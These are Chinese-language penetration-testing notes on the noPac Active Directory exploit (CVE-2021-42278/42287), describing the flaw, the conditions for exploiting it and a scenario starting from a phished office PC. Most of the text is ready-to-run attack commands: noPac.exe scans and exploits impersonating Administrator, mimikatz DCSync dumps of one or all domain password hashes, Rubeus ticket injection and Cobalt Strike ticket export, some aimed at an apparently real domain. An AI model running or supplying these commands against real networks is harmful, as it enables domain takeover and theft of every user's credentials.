Nopac
CVE-2021-42278
:::info 机器的账户名一般是以$结尾,如果AD没有对域内机器做用户名校验。 :::
CVE-2021-42287
:::info 与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。 :::
利用条件
- 普通域账号
- 域用户有船舰机器用户的权限
- DC未打KB5008380或KB5008602。
利用参考
如果通过钓鱼钓到办公电脑、对本机进行信息搜集,发现存在账号存在域、那就尝试获取本机的普通域用户密码。 ``` 使用noPac 测试是否存在漏洞 noPac.exe scan -domain DC.com -user “test” -pass “123456”
域控cifs服务器权限 noPac.exe -domain DC -user “test” -pass “123456” /dc DC-1.DC.com /mAccount ceshi1 /mPassword 123456 /service cifs /ptt
域控ldap权限-通过该服务导出域内hash noPac.exe -domain DC.com -user “lowpriv” -pass “1qaz@WSX” /dc AD-1.DC.com /mAccount ceshi12 /mPassword 1qaz@WSX /service ldap /ptt /impersonate Administrator
使用dcsync导出域内管理员hash mimikatz lsadump::dcsync /dc:DC-1.DC.com /domain:DC.com /user:administrator 使用dcsync导出域内所有用户hash mimikatz lsadump::dcsync /dc:DC-1.DC.com /domain:DC.com /all
还可以通过本地导入票据 绑定host Rubeus.exe ptt /ticket:票据信息
通过mimikatz 导出
其他常用命令 klist 查看票据 klist purge 清空票据
<a name="BEjMQ"></a>
## 利用过程
<a name="HozXZ"></a>
### 验证是否存在漏洞
```bash
noPac.exe scan -domain DC.com -user "test" -pass "123456"
C:\ProgramData\noPac.exe -domain AD.com -user guosl -pass shirley /dc AD-S1RVER.AD.com /mAccount demol211 /mPassword shirley /service ldap/ptt /impersonate Administrator
返回票据
查看票据
可以去验证是否可以使用
用cobalt strike 导出票据
mimikatz lsadump::dcsync /dc:DC-1.DC.com /domain:DC.com /user:administrator
本地抓取
修改本地hosts
:::info
可以解析到域就可以
C:\Windows\System32\drivers\etc\hosts
1.1.1.1 ad-1.dc.com
:::
使用rubeus导入票据
导出hash
lsadump::dcsync /dc:AD-SERVER.gdmuseum.com /domain:gdmuseum.com /user:administrator
相关工具
GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.
https://github.com/gentilkiwi/mimikatz
https://github.com/GhostPack/Rubeus